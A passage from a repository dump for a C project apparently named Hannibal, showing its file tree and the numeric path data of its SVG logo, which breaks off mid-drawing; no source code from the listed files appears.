├── Hannibal.svg
├── README.md
├── asm
    └── x64
    │   └── stub_wrapper.asm
├── bin
    └── obj
    │   └── .gitkeep
├── debug_makefile
├── include
    ├── Native.h
    ├── hannibal.h
    ├── hannibal_tasking.h
    ├── utility_memory.h
    ├── utility_serialization.h
    ├── utility_strings.h
    └── utility_winapi_function_resolution.h
├── linux_makefile
├── scripts
    ├── Linker.ld
    └── build.py
├── src
    ├── hannibal.c
    ├── hannibal_tasking.c
    ├── utility_memory.c
    ├── utility_serialization.c
    ├── utility_strings.c
    └── utility_winapi_function_resolution.c
└── windows_makefile


/Hannibal.svg:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" standalone="no"?>
  2 | <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
  3 |  "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
  4 | <svg version="1.0" xmlns="http://www.w3.org/2000/svg"
  5 |  width="885.000000pt" height="250.000000pt" viewBox="0 0 886.000000 898.000000"
  6 |  preserveAspectRatio="xMidYMid meet">
  7 | <metadata>
  8 | Would you segfault me? I'd segfault me.
  9 | </metadata>
 10 | 
 11 | <rect x="0" y="0" width="886" height="898" fill="#89cff0"/>
 12 | 
 13 | <g transform="translate(0.000000,898.000000) scale(0.100000,-0.100000)"
 14 | fill="#9966cc" stroke="none">
 15 | 
 16 | <path d="M0 4490 l0 -4490 4430 0 4430 0 0 4490 0 4490 -4430 0 -4430 0 0
 17 | -4490z m4572 2356 c41 -8 107 -27 148 -43 67 -26 75 -31 72 -53 -3 -19 -1 -22
 18 | 10 -13 16 13 48 9 59 -9 5 -7 9 -10 9 -6 0 4 9 0 20 -9 15 -13 16 -19 7 -25
 19 | -7 -5 -2 -7 13 -4 14 2 31 -3 38 -10 7 -8 8 -14 3 -14 -6 0 -8 -8 -5 -17 5
 20 | -14 4 -15 -4 -4 -5 7 -15 10 -21 6 -9 -5 -9 -10 0 -21 7 -8 9 -27 5 -48 -5
 21 | -23 -3 -36 6 -39 10 -4 10 -8 -2 -16 -10 -7 -11 -11 -2 -11 16 0 16 -59 -1
 22 | -66 -23 -8 -17 -45 11 -69 19 -16 29 -20 34 -12 5 7 8 1 8 -14 0 -16 7 -30 18
 23 | -34 15 -6 15 -8 1 -18 -22 -17 -9 -61 19 -65 27 -4 28 -9 1 -31 -15 -12 -21
 24 | -28 -21 -56 0 -22 -7 -59 -14 -83 -16 -50 -18 -86 -4 -77 5 3 7 12 3 20 -3 8
 25 | 0 15 7 15 9 0 10 -14 5 -50 -5 -37 -4 -51 7 -55 12 -5 13 -16 9 -82 -1 -7 -7
 26 | -13 -14 -13 -8 0 -22 -9 -31 -19 -17 -18 -16 -20 3 -26 12 -3 21 -11 21 -17 0
 27 | -6 -8 -7 -17 -3 -32 12 -37 10 -41 -13 -2 -14 4 -29 15 -38 16 -13 16 -13 0
 28 | -8 -12 4 -16 2 -12 -8 3 -8 -1 -21 -10 -28 -8 -7 -15 -18 -15 -24 0 -6 -13
 29 | -17 -30 -23 -25 -9 -32 -9 -40 5 -8 14 -11 15 -19 3 -10 -15 -88 -24 -97 -10
 30 | -3 5 -13 9 -22 9 -13 0 -13 -2 4 -15 19 -14 19 -14 0 -15 -11 0 -28 8 -39 18
 31 | -19 16 -20 16 -15 -5 8 -29 -18 -39 -34 -13 -17 27 -28 25 -28 -6 0 -23 -2
 32 | -25 -15 -14 -11 9 -13 16 -5 24 16 16 12 30 -6 16 -13 -11 -16 -10 -21 8 -4
 33 | 18 -7 19 -19 7 -18 -18 -18 -43 0 -47 13 -3 13 -6 0 -22 -14 -19 -14 -19 -14
 34 | 2 0 26 -3 27 -36 6 -23 -16 -26 -16 -48 5 -31 29 -39 26 -21 -9 15 -29 15 -30
 35 | -6 -27 -12 2 -27 14 -35 28 -12 23 -13 23 -21 4 -9 -22 -53 -29 -53 -9 0 8 6
 36 | 11 15 8 11 -5 15 1 15 22 0 25 -4 29 -27 31 -16 0 -31 -4 -35 -10 -17 -27 -98
 37 | -3 -98 30 0 8 5 11 10 8 6 -3 10 1 10 9 0 9 -7 16 -15 16 -10 0 -15 -10 -15
 38 | -30 0 -36 -13 -38 -45 -6 l-24 24 6 -29 c3 -16 2 -29 -1 -29 -14 0 -37 30 -31
 39 | 40 3 5 2 10 -3 10 -6 0 -12 -7 -16 -15 -6 -17 -36 -21 -36 -5 0 6 -5 10 -11
 40 | 10 -6 0 -20 11 -30 24 -10 13 -35 31 -55 41 -33 16 -34 18 -17 30 25 17 81 24
 41 | 87 11 3 -7 9 -5 15 4 9 12 11 13 11 1 0 -8 3 -11 7 -7 13 12 -26 34 -50 29
 42 | -16 -3 -18 -2 -8 5 7 5 10 15 7 21 -4 6 3 15 16 20 21 9 21 10 3 11 -36 4 -70
 43 | -2 -82 -12 -15 -12 -14 -12 -19 22 -1 14 -6 37 -10 53 -5 20 -3 27 8 27 8 0
 44 | 14 -9 14 -21 -1 -22 28 -48 40 -36 4 3 1 14 -6 22 -10 12 -10 19 -2 27 17 17
 45 | 15 48 -4 48 -8 0 -12 5 -9 10 4 6 11 8 16 5 5 -3 6 1 3 9 -4 9 0 18 9 22 9 3
 46 | 13 13 10 24 -4 15 -1 18 16 15 12 -2 19 0 16 6 -4 5 -15 9 -26 9 -11 0 -29 9
 47 | -41 20 -12 11 -32 20 -44 20 -15 0 -23 7 -26 25 -3 14 -1 25 3 25 5 0 9 -9 9
 48 | -20 0 -23 4 -24 31 -10 16 9 21 7 29 -12 6 -17 9 -19 9 -5 1 22 21 23 21 0 0
 49 | -35 9 -5 15 50 4 36 3 57 -4 57 -6 0 -7 -8 -4 -17 5 -12 2 -15 -10 -10 -13 5
 50 | -17 1 -17 -19 0 -15 -4 -23 -11 -19 -6 4 -8 13 -5 21 3 8 1 14 -3 14 -5 0 -11
 51 | -7 -15 -15 -4 -13 -9 -13 -24 -4 -14 9 -19 24 -19 52 0 21 -6 43 -13 47 -7 4
 52 | -9 13 -6 19 11 16 23 13 28 -7 3 -10 21 -28 41 -40 28 -16 35 -17 30 -5 -3 8
 53 | 0 19 8 24 11 8 9 9 -6 7 -13 -2 -21 4 -23 17 -4 22 -45 65 -62 65 -5 0 -10 17
 54 | -10 38 0 24 3 32 9 24 6 -10 10 -7 15 12 6 23 9 24 31 14 14 -6 25 -15 25 -19
 55 | 0 -4 9 -5 20 -2 21 6 28 23 9 23 -7 0 -21 11 -33 23 -14 15 -31 23 -45 20 -17
 56 | -2 -22 1 -18 11 3 8 3 17 -1 20 -10 11 -9 85 2 79 5 -3 6 -1 2 6 -6 9 -11 9
 57 | -22 0 -12 -10 -13 -9 -8 5 8 21 30 21 43 -1 6 -11 11 -13 11 -5 0 7 4 11 9 8
 58 | 5 -3 8 8 7 25 -1 16 2 33 7 36 6 4 7 0 3 -8 -4 -8 -1 -5 6 5 17 24 46 51 58
 59 | 52 6 1 17 2 26 3 8 0 13 5 10 10 -8 12 68 56 152 87 137 53 286 66 424 40z
 60 | m2924 -161 c-1 -8 -10 -23 -21 -35 -10 -11 -15 -23 -11 -28 4 -4 14 2 22 12 7
 61 | 11 17 17 20 13 4 -4 1 -14 -7 -24 -12 -15 -12 -16 4 -10 10 4 17 4 15 0 -27
 62 | -62 -144 -266 -157 -275 -10 -7 -23 -29 -30 -50 -12 -38 -83 -143 -159 -238
 63 | -67 -84 -288 -307 -311 -315 -12 -3 -21 -12 -21 -20 0 -14 -27 -28 -40 -20
 64 | -14 8 -22 -13 -15 -36 5 -16 9 -18 15 -9 5 9 19 10 45 6 34 -7 36 -8 19 -21
 65 | -17 -12 -16 -13 11 -9 l30 5 -27 -16 c-16 -9 -28 -19 -28 -24 0 -4 -19 -13
 66 | -42 -18 -33 -8 -37 -11 -17 -12 33 -1 45 -28 24 -51 -16 -18 -9 -30 25 -43 9
 67 | -3 5 -6 -10 -6 l-25 -1 24 -19 c21 -16 22 -20 10 -40 -10 -15 -21 -21 -36 -18
 68 | -38 7 -48 -17 -18 -47 14 -14 25 -22 25 -19 0 3 6 0 14 -6 17 -14 15 -123 -2
 69 | -129 -8 -2 -7 -11 1 -29 9 -21 8 -27 -6 -38 -9 -7 -17 -25 -17 -40 0 -16 -7
 70 | -36 -15 -45 -22 -24 -39 -121 -23 -132 10 -6 8 -8 -4 -8 -9 0 -23 6 -30 13 -7
 71 | 7 -21 16 -30 20 -25 9 -23 31 2 24 13 -3 20 0 20 9 0 8 -4 14 -10 14 -5 0 -10
 72 | 7 -10 15 0 8 -4 15 -10 15 -5 0 -10 7 -10 15 0 8 -5 15 -11 15 -6 0 -9 -6 -6
 73 | -14 3 -8 -5 -18 -19 -25 -13 -6 -24 -16 -24 -23 0 -9 3 -8 10 2 6 9 10 10 10
 74 | 3 0 -6 3 -20 7 -30 6 -15 4 -16 -9 -6 -12 11 -18 9 -33 -7 -10 -12 -25 -18
 75 | -32 -16 -9 4 -8 -3 4 -21 13 -20 14 -28 5 -31 -7 -2 -10 -8 -6 -13 3 -5 -1
 76 | -12 -9 -14 -16 -7 -11 -66 7 -77 8 -6 6 -11 -4 -19 -11 -8 -12 -12 -2 -16 6
 77 | -2 12 -13 12 -22 0 -14 6 -17 25 -13 14 2 25 0 25 -4 -1 -22 -21 -37 -49 -37
 78 | -26 0 -31 -4 -31 -24 0 -18 6 -23 28 -24 25 -1 26 -1 4 -7 -13 -4 -23 -10 -23
 79 | -14 3 -36 1 -40 -14 -28 -12 10 -16 9 -21 -4 -8 -21 -30 -20 -43 2 -10 16 -10
 80 | 16 -11 0 0 -10 -6 -18 -14 -18 -8 0 -21 -7 -30 -15 -8 -9 -21 -14 -28 -13 -7
 81 | 2 -13 -6 -13 -17 0 -32 -31 -30 -48 4 -13 26 -13 31 -1 31 8 0 14 6 15 13 0 9
 82 | 2 9 6 0 6 -16 32 -17 53 -2 13 9 13 10 0 7 -22 -3 -59 23 -53 39 3 7 0 20 -7
 83 | 28 -10 12 -14 12 -26 0 -8 -7 -14 -23 -14 -34 0 -22 -20 -40 -20 -19 -1 8 -9
 84 | 4 -19 -9 -11 -13 -27 -23 -38 -24 -15 0 -14 -2 5 -9 12 -5 22 -14 22 -20 0 -5
 85 | 7 -10 15 -10 8 0 15 -6 15 -14 0 -8 8 -17 18 -19 10 -3 6 -5 -10 -6 -19 -1
 86 | -28 -6 -28 -17 0 -13 -3 -14 -14 -5 -12 10 -14 8 -9 -11 4 -18 3 -20 -6 -8 -8
 87 | 11 -11 11 -11 2 0 -7 7 -15 15 -18 8 -4 15 -15 15 -26 0 -10 -4 -16 -10 -13
 88 | -6 3 -7 -1 -4 -9 9 -22 -9 -20 -31 4 -18 20 -45 27 -45 11 0 -13 26 -32 34
 89 | -24 10 11 26 -19 21 -38 -4 -13 1 -16 25 -15 24 1 31 6 36 29 6 27 27 36 39
 90 | 17 3 -5 -1 -10 -9 -10 -12 0 -16 -10 -16 -40 0 -40 0 -40 -24 -25 -13 9 -26
 91 | 12 -28 7 -5 -13 -58 -24 -58 -12 0 5 -7 10 -15 10 -19 0 -15 22 5 32 11 6 10
 92 | 7 -4 5 -15 -1 -20 -11 -22 -39 -2 -20 1 -40 5 -43 5 -3 7 4 4 15 -3 11 -2 20
 93 | 2 20 10 0 35 -27 35 -39 0 -6 12 -22 27 -35 20 -19 24 -29 16 -37 -8 -8 -11
 94 | -6 -10 7 1 13 -4 18 -15 16 -9 -1 -22 6 -27 17 -6 11 -19 18 -28 16 -10 -2
 95 | -24 -4 -30 -4 -7 -1 -13 -9 -13 -19 0 -10 -5 -23 -10 -28 -7 -7 -5 -17 5 -30
 96 | 14 -18 14 -18 15 9 0 16 4 26 10 22 6 -3 10 -17 10 -31 0 -20 -5 -24 -30 -24
 97 | -31 0 -34 -6 -32 -57 1 -13 -3 -23 -8 -23 -6 0 -10 5 -10 10 0 6 -4 10 -10 10
 98 | -5 0 -10 -8 -10 -19 0 -12 13 -25 35 -35 40 -19 47 -30 11 -16 -17 6 -29 5
 99 | -42 -5 -10 -7 -25 -10 -34 -7 -13 5 -13 3 -1 -11 8 -10 11 -20 7 -24 -3 -3 -6
100 | -1 -6 5 0 7 -5 12 -11 12 -5 0 -7 -5 -4 -10 12 -19 -7 -32 -20 -13 -9 12 -10
101 | 25 -4 41 13 33 13 34 -26 26 -34 -6 -41 0 -36 30 3 16 -23 25 -37 14 -7 -6
102 | -25 -11 -41 -10 -20 0 -31 -6 -38 -21 -6 -14 -12 -17 -17 -9 -4 7 -2 12 3 12
103 | 6 0 11 7 11 15 0 13 19 20 43 16 5 -1 6 3 2 8 -3 6 -13 7 -22 4 -12 -5 -12 -2
104 | 3 15 10 12 24 22 31 22 7 0 10 7 6 15 -3 9 2 21 12 29 22 16 12 61 -12 52 -38
105 | -15 -63 -18 -63 -7 0 6 -10 11 -22 11 -19 0 -20 2 -8 10 10 7 11 10 2 10 -8 0
106 | -12 18 -11 60 2 64 13 80 58 80 13 0 24 11 32 35 7 19 17 35 21 35 13 0 9 27
107 | -6 39 -7 6 -16 25 -20 41 -3 19 -14 34 -28 39 -13 5 -29 18 -37 29 -8 12 -18
108 | 19 -23 16 -10 -6 -11 20 -1 29 3 4 13 1 21 -5 11 -10 16 -8 24 7 11 18 11 18
109 | 24 0 13 -18 14 -17 14 8 0 15 5 27 11 27 6 0 1 13 -10 29 -15 21 -27 28 -41
110 | 24 -22 -6 -29 20 -9 33 8 4 8 9 0 17 -6 6 -11 19 -11 29 0 10 -7 18 -17 18
111 | -40 1 -53 25 -58 99 -3 53 -1 71 8 68 7 -2 13 -23 14 -46 1 -24 3 -44 5 -46 2
112 | -3 17 -1 34 4 26 7 29 11 26 42 -4 41 -19 59 -28 36 -9 -25 -24 -20 -24 8 0
113 | 14 4 25 9 25 11 0 22 66 14 86 -5 13 -7 13 -22 0 -24 -22 -59 -17 -53 8 3 13
114 | 1 17 -6 12 -8 -5 -10 -1 -5 10 4 11 8 13 11 6 7 -22 40 -13 46 14 5 20 1 30
115 | -20 46 -22 18 -24 23 -12 32 18 13 31 50 32 93 2 27 -1 32 -16 27 -12 -3 -18
116 | 0 -18 9 0 18 26 41 39 33 5 -3 11 0 14 7 3 8 -4 19 -14 25 -10 7 -19 17 -19
117 | 22 0 16 27 11 34 -6 3 -9 11 -12 18 -8 8 5 9 2 5 -9 -4 -10 -10 -25 -14 -34
118 | -5 -12 -2 -15 10 -10 11 4 14 2 10 -8 -3 -10 5 -19 23 -25 24 -9 31 -8 41 6 7
119 | 10 13 24 13 31 0 15 -16 17 -25 3 -9 -15 -25 -12 -25 5 0 7 8 19 18 24 16 10
120 | 16 10 -1 11 -10 0 -15 5 -12 10 4 6 -6 10 -23 10 -26 0 -29 3 -24 26 4 21 2
121 | 25 -9 19 -11 -6 -12 -5 -2 5 10 11 8 16 -10 25 -16 8 -21 18 -19 37 2 18 -3
122 | 30 -17 37 -29 16 -52 3 -49 -27 2 -14 -3 -27 -9 -29 -8 -3 -13 3 -13 14 0 10
123 | -4 24 -9 32 -8 12 -12 12 -25 2 -10 -9 -16 -9 -16 -3 0 6 9 16 20 22 11 6 20
124 | 20 20 32 0 25 10 19 14 -9 2 -10 10 -19 19 -21 12 -2 15 1 11 12 -3 9 -1 16 5
125 | 16 16 0 14 17 -6 46 -16 26 -17 26 -25 5 -4 -12 -16 -21 -27 -21 -15 0 -19 5
126 | -14 16 4 12 7 13 14 3 14 -24 19 -4 8 37 -14 50 -29 67 -29 31 0 -39 -18 -33
127 | -26 8 -6 32 -32 53 -57 47 -5 -1 -6 6 -3 16 4 11 0 24 -9 32 -19 16 -19 39 0
128 | 47 9 3 15 15 13 26 -2 14 5 25 20 33 13 6 23 14 22 18 0 3 5 12 12 20 15 15
129 | 41 10 31 -7 -3 -6 -1 -7 6 -3 9 6 9 11 0 22 -15 18 -49 18 -49 0 0 -16 -58
130 | -61 -67 -52 -3 3 2 17 12 32 14 21 19 24 27 13 7 -10 8 -1 3 26 -4 22 -7 45
131 | -7 51 -1 6 -10 9 -20 6 -26 -7 -22 14 5 22 20 6 21 7 4 17 -10 6 -24 9 -30 6
132 | -7 -3 -13 3 -13 13 0 12 6 16 21 13 16 -4 17 -3 5 6 -17 12 -10 14 14 5 9 -3
133 | 16 -9 16 -13 0 -4 40 -48 89 -96 49 -49 89 -94 88 -99 -1 -6 3 -10 9 -11 10 0
134 | 138 -107 159 -132 13 -16 75 -51 193 -109 118 -58 223 -79 321 -64 157 25 324
135 | 106 465 226 39 33 78 63 88 66 9 4 32 31 53 60 20 29 67 94 105 143 83 108
136 | 149 217 250 414 41 80 80 146 87 146 6 0 21 12 33 28 24 31 29 33 26 12z
137 | m-6111 -15 c3 -5 17 -10 31 -10 23 0 27 -7 27 -52 0 -10 3 -15 7 -13 10 6 23
138 | -62 15 -78 -4 -6 1 -3 9 7 13 17 16 17 16 4 0 -9 8 -24 17 -33 9 -10 17 -24
139 | 18 -34 4 -29 25 -73 51 -105 14 -17 50 -71 80 -120 85 -138 159 -232 269 -343
140 | 235 -235 507 -345 725 -294 67 16 202 78 264 120 25 18 46 28 46 24 0 -4 6 -1
141 | 13 7 7 8 26 23 42 32 17 10 29 22 28 27 -2 5 6 8 17 6 12 -2 18 0 14 6 -3 6 6
142 | 24 22 40 21 22 30 26 37 17 6 -9 7 -8 4 3 -4 11 18 39 65 84 62 58 73 65 83
143 | 52 10 -14 13 -14 25 3 11 15 16 16 23 7 6 -9 7 -8 4 3 -2 8 -12 13 -23 11 -18
144 | -3 -18 -2 1 20 12 13 14 19 5 14 -8 -5 -1 7 15 27 29 36 55 48 55 27 0 -5 5
145 | -7 12 -3 8 5 7 10 -4 18 -13 10 -13 13 -2 24 8 7 19 10 26 6 8 -5 9 -2 5 9 -3
146 | 9 -2 19 2 21 5 3 8 -5 7 -17 -1 -12 -7 -21 -14 -19 -7 1 -12 -5 -12 -13 0 -8
147 | 6 -13 13 -11 6 1 9 1 4 -1 -4 -3 -5 -9 -1 -14 3 -5 -2 -9 -10 -9 -24 0 -20
148 | -41 4 -47 24 -6 26 -26 5 -43 -8 -7 -15 -16 -15 -21 0 -14 30 -10 31 4 0 9 2
149 | 9 5 0 7 -17 -14 -53 -31 -53 -8 0 -15 6 -15 13 0 7 -14 18 -31 24 -25 10 -31
150 | 9 -36 -3 -3 -8 -12 -13 -21 -12 -12 2 -17 -6 -18 -32 -3 -43 12 -63 39 -54 17
151 | 5 19 3 14 -15 -4 -17 -1 -21 21 -22 15 0 21 -3 15 -6 -18 -7 -63 -111 -69
152 | -157 -5 -38 -55 -116 -74 -114 -24 4 -40 -11 -40 -38 0 -17 5 -24 20 -24 21 0
153 | 28 -16 9 -22 -6 -2 -11 -17 -11 -33 0 -17 -6 -39 -14 -49 -12 -18 -14 -18 -20
154 | -3 -3 9 -11 17 -16 17 -16 0 -2 -69 18 -91 14 -15 14 -20 3 -24 -11 -4 -14
155 | -34 -13 -144 1 -76 4 -143 8 -149 5 -8 2 -10 -8 -6 -11 4 -16 0 -16 -14 0 -11
156 | -7 -25 -15 -32 -17 -14 -20 -36 -6 -42 5 -1 12 -31 16 -65 6 -53 4 -64 -13
157 | -81 -20 -20 -20 -20 1 -27 20 -7 20 -8 3 -12 -16 -4 -18 -11 -12 -49 4 -34 2
158 | -46 -9 -50 -10 -4 -12 -12 -4 -31 12 -33 12 -33 -16 -33 -22 0 -25 -4 -25 -40
159 | 0 -29 -4 -40 -15 -40 -12 0 -15 13 -15 56 0 45 -3 55 -15 50 -8 -3 -19 2 -24
160 | 12 -11 19 -16 16 -26 -16 -5 -19 -2 -25 15 -29 17 -4 21 -12 17 -29 -3 -17 0
161 | -24 12 -24 14 -1 14 -2 -2 -14 -15 -12 -15 -15 -2 -26 8 -7 24 -10 35 -7 11 3
162 | 20 2 20 -3 0 -12 -44 -18 -70 -8 -17 6 -21 5 -17 -7 4 -8 2 -17 -3 -20 -5 -3
163 | -7 -12 -3 -20 3 -8 1 -15 -5 -15 -5 0 -12 7 -16 15 -3 8 -11 15 -18 14 -10 0
164 | -10 -2 0 -6 20 -8 14 -22 -8 -18 -11 2 -20 -1 -20 -6 0 -6 11 -9 25 -7 13 2
165 | 23 -1 22 -7 -1 -5 -8 -9 -17 -8 -8 1 -3 -3 13 -10 18 -7 30 -22 36 -42 9 -35
166 | 3 -55 -11 -31 -7 13 -13 14 -30 5 -19 -10 -20 -9 -16 15 4 19 1 25 -11 23 -26
167 | -4 -41 -17 -40 -35 0 -11 3 -12 6 -4 7 19 23 14 32 -10 6 -17 4 -25 -8 -30
168 | -14 -6 -14 -7 2 -7 10 -1 20 5 23 13 3 8 13 12 25 9 11 -3 18 -8 15 -11 -3 -2
169 | 1 -16 8 -31 7 -14 11 -32 9 -38 -3 -7 0 -13 6 -13 6 0 11 -11 11 -24 0 -19 -4
170 | -23 -20 -19 -14 4 -20 0 -20 -10 0 -8 -6 -18 -12 -21 -10 -5 -10 -7 0 -12 6
171 | -3 10 -10 6 -15 -8 -14 -24 -11 -24 6 0 8 -4 15 -10 15 -5 0 -10 10 -10 22 0
172 | 21 0 21 16 2 15 -18 15 -18 9 10 -4 21 -1 33 15 48 16 15 18 23 10 33 -7 8 -9
173 | 19 -5 25 3 5 -1 10 -10 10 -11 0 -15 -5 -11 -15 16 -40 18 -49 11 -42 -5 4
174 | -15 -3 -22 -15 -7 -13 -12 -17 -13 -10 0 6 -8 12 -17 11 -11 0 -13 -3 -5 -6
175 | 17 -7 15 -33 -3 -33 -22 0 -18 34 5 55 24 22 26 35 5 35 -8 0 -15 6 -15 14 0
176 | 8 -5 18 -11 21 -7 5 -9 -4 -7 -26 2 -21 -1 -34 -9 -34 -6 0 -15 -3 -19 -7 -14
177 | -15 -46 -8 -51 11 -3 12 -11 17 -19 14 -8 -3 -12 -9 -9 -13 7 -12 -21 -32 -42
178 | -28 -12 2 -18 -3 -19 -17 -2 -43 -3 -44 -29 -32 -14 7 -25 17 -25 24 0 6 -5
179 | 15 -12 19 -8 5 -9 -2 -5 -24 4 -22 2 -32 -9 -36 -13 -5 -14 2 -8 42 6 43 6 46
180 | -9 33 -15 -11 -17 -11 -17 2 0 8 -5 17 -12 19 -6 2 -8 9 -4 16 5 8 14 8 32 2
181 | 33 -13 84 -13 84 0 0 6 -13 10 -29 10 -37 0 -48 15 -18 25 12 4 26 7 30 6 5
182 | -1 6 3 2 9 -3 5 -15 10 -26 10 -15 0 -19 7 -19 31 0 17 -4 28 -10 24 -5 -3
183 | -10 -24 -10 -46 0 -39 0 -40 -35 -36 -36 4 -61 17 -32 17 9 0 17 5 17 10 0 6
184 | 7 10 15 10 8 0 15 9 15 20 0 11 -4 20 -9 20 -5 0 -16 3 -24 6 -11 4 -16 -2
185 | -19 -21 l-3 -28 -28 29 c-16 16 -36 29 -45 29 -12 0 -17 9 -18 28 -1 16 -7 33
186 | -15 38 -9 6 -3 7 17 3 25 -5 35 -2 48 17 22 32 20 49 -6 49 -16 0 -19 3 -11
187 | 11 11 11 50 -4 65 -26 5 -6 12 -5 20 3 10 10 9 14 -8 18 -16 4 -20 12 -17 32
188 | 4 25 3 26 -10 9 -10 -12 -17 -14 -22 -8 -3 6 -16 11 -28 11 -15 0 -26 10 -35
189 | 29 -16 36 -42 49 -42 20 0 -16 -4 -19 -20 -14 -24 8 -27 -10 -3 -19 11 -4 22
190 | -1 29 8 16 22 23 10 17 -30 -5 -30 -3 -34 16 -34 11 0 21 -2 21 -4 0 -2 3 -11
191 | 6 -20 3 -9 1 -16 -5 -16 -6 0 -11 7 -11 15 0 8 -9 15 -20 15 -13 0 -18 -5 -14
192 | -15 4 -8 1 -15 -6 -15 -8 0 -11 11 -8 30 4 26 0 34 -29 51 -36 22 -44 61 -22
193 | 98 9 14 9 25 -2 47 -10 21 -12 35 -4 52 11 26 30 24 30 -3 0 -10 6 -20 13 -23
194 | 7 -2 11 2 10 9 -3 15 34 19 44 4 4 -5 10 -6 14 -3 3 4 0 14 -9 22 -8 8 -17 12
195 | -21 9 -3 -4 -6 -1 -6 5 0 6 -7 9 -15 6 -9 -4 -15 0 -15 10 0 9 4 16 9 16 5 0
196 | 12 7 15 16 3 8 2 12 -4 9 -6 -3 -10 2 -10 12 -1 17 -1 17 -14 1 -7 -10 -16
197 | -15 -19 -11 -4 3 -7 1 -7 -5 0 -8 -8 -8 -29 -1 -22 8 -36 7 -53 -2 -21 -12
198 | -21 -14 -4 -17 10 -2 23 1 29 7 7 7 14 7 24 0 17 -15 17 -44 -2 -59 -9 -8 -15
199 | -9 -15 -2 0 6 5 14 11 18 7 4 7 10 1 16 -12 12 -35 1 -27 -13 4 -5 -3 -9 -14
200 | -9 -12 0 -21 6 -21 13 0 8 -11 20 -25 27 -14 7 -25 17 -25 22 0 4 -4 8 -10 8
201 | -15 0 -12 -19 5 -36 19 -19 19 -38 1 -53 -12 -10 -14 -9 -12 5 2 10 -4 30 -11
202 | 46 -13 24 -13 35 0 77 l14 49 -28 -8 c-26 -8 -29 -6 -29 13 0 43 11 65 30 60
203 | 24 -6 31 8 24 46 -6 27 -34 46 -34 22 0 -5 -10 -11 -21 -14 -16 -4 -20 -11
204 | -16 -26 3 -12 1 -21 -4 -21 -15 0 -10 42 8 62 13 15 15 23 6 36 -6 9 -18 16
205 | -27 14 -10 -2 -16 4 -16 18 0 22 -15 27 -23 8 -3 -8 -6 -6 -6 5 -1 9 6 17 14
206 | 17 8 0 15 5 15 10 0 6 -3 10 -7 10 -5 0 -13 11 -20 25 -14 32 -6 39 52 43 18
207 | 2 20 7 17 37 -4 31 -22 51 -22 24 0 -6 -7 -17 -15 -25 -13 -14 -15 -13 -15 6
208 | 0 13 -4 19 -12 14 -7 -4 -8 -3 -4 5 4 6 11 9 15 7 4 -3 14 10 21 29 8 19 17
209 | 35 20 35 4 0 7 7 7 15 0 8 -4 12 -8 9 -4 -2 -9 1 -12 8 -2 7 -3 5 -2 -4 2 -10
210 | -1 -18 -6 -18 -5 0 -9 -7 -9 -15 0 -8 -4 -15 -9 -15 -5 0 -7 9 -4 20 3 11 0
211 | 20 -6 20 -6 0 -11 9 -11 20 0 11 -6 20 -12 20 -10 0 -9 3 1 9 17 11 5 51 -16
212 | 51 -13 0 -13 3 -3 15 10 12 9 15 -6 16 -18 0 -18 1 1 9 18 8 17 9 -8 9 -25 1
213 | -28 -2 -26 -26 3 -37 -11 -69 -22 -52 -4 7 -3 19 3 26 8 10 8 21 -1 39 -6 14
214 | -9 36 -6 50 3 13 7 35 10 49 3 14 9 23 14 20 18 -11 22 30 4 43 -10 7 -17 18
215 | -16 23 2 5 -1 9 -6 9 -5 0 -11 9 -14 20 -3 11 0 20 6 20 6 0 2 8 -9 19 -10 10
216 | -22 17 -26 14 -5 -2 -8 0 -8 6 0 6 -41 50 -91 98 -102 99 -201 219 -279 338
217 | -60 92 -121 199 -124 218 -1 6 -10 24 -20 39 -10 15 -14 33 -10 39 4 7 3 9 -4
218 | 5 -6 -3 -16 2 -21 13 -15 27 -14 30 9 26 11 -2 22 0 25 5 3 5 -3 7 -13 5 -23
219 | -4 -43 7 -45 26 -2 8 -6 19 -9 25 -10 16 2 54 18 54 7 0 16 -4 19 -10z m3045
220 | -2791 c0 -446 -2 -509 -15 -509 -8 0 -15 5 -15 11 0 5 -6 7 -12 3 -9 -5 -9 -2
221 | 1 9 12 15 11 17 -4 17 -27 0 -13 -33 18 -44 42 -15 83 10 79 48 -4 28 -3 29
222 | 30 21 18 -4 40 -6 48 -4 8 1 106 3 216 3 162 1 204 4 215 15 11 13 11 14 -4 8
223 | -19 -7 -21 0 -7 23 6 9 5 17 -3 22 -9 6 -9 8 1 8 7 0 10 5 7 10 -4 6 -12 7
224 | -18 3 -7 -4 -6 0 2 10 7 9 9 17 3 17 -5 0 -12 11 -14 25 -5 25 7 35 15 13 2
225 | -7 2 -2 -1 12 -3 14 -5 33 -6 42 0 9 -3 16 -7 15 -4 -1 -7 3 -7 8 0 6 4 9 8 8
226 | 4 -1 6 7 3 18 -5 16 -8 18 -15 7 -7 -9 -8 -7 -5 8 2 12 0 29 -5 38 -6 11 -5
227 | 16 3 16 9 0 9 3 0 14 -9 11 -9 15 1 19 10 4 8 9 -4 17 -10 6 -18 16 -18 21 0
228 | 6 5 7 10 4 14 -9 12 8 -2 24 -10 11 -10 13 0 7 18 -11 15 5 -5 20 -17 13 -17
229 | 14 0 8 10 -4 17 -1 17 7 0 7 -8 21 -17 32 -13 15 -14 18 -3 12 13 -8 13 -7 1
230 | 8 -8 10 -15 32 -16 49 -2 21 0 26 6 17 7 -11 9 -11 9 2 0 9 -6 19 -14 22 -7 3
231 | -13 17 -13 31 0 14 3 23 8 21 4 -3 5 9 3 27 -3 18 -5 49 -6 68 0 19 -3 29 -5
232 | 23 -9 -24 -20 -13 -21 20 0 17 -1 34 -2 37 -1 3 -3 21 -5 40 -3 26 -2 30 5 15
233 | 8 -19 9 -19 9 -1 1 10 -7 25 -16 32 -17 13 -17 14 0 8 13 -5 17 -1 17 17 0 17
234 | 3 20 11 12 9 -9 136 -911 142 -1005 1 -21 16 -23 41 -5 15 11 16 17 7 35 -16
235 | 31 -14 34 20 27 20 -5 36 -2 47 8 9 8 47 31 85 52 37 20 72 46 78 56 5 11 14
236 | 17 19 14 6 -3 7 1 4 9 -7 19 44 42 59 27 19 -19 -3 -79 -43 -120 -22 -23 -40
237 | -45 -40 -50 0 -29 -150 -88 -259 -102 -105 -13 -811 -13 -811 1 0 7 -89 5 -97
238 | -3 -3 -4 -11 -3 -18 3 -6 5 -37 8 -68 7 -31 -1 -57 1 -57 5 0 5 -44 7 -97 6
239 | -163 -2 -265 17 -291 54 -7 10 -18 16 -23 13 -5 -4 -9 -2 -9 3 0 5 -11 14 -25
